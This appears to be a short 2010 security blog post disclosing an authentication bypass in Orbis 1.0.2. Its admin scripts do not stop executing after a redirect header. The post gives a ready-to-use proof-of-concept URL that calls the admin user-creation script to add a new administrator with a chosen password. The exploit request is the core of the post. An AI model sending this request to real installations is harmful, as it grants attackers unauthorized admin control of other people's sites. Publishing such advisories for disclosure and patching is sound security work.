An authentication bypass vulnerability in Orbis 1.0.2 can be exploited to create a new admin.
Exploit
Several admin related scripts fail to terminate after setting the header location field.
PoC
http://localhost/orbis/admin/admin_users_create.php?nusern=new_admin&nuserp=Password1&nusert=2&nusere=@
Showing posts with label Authentication Bypass. Show all posts
Showing posts with label Authentication Bypass. Show all posts
Sunday, July 11, 2010
Subscribe to:
Posts (Atom)
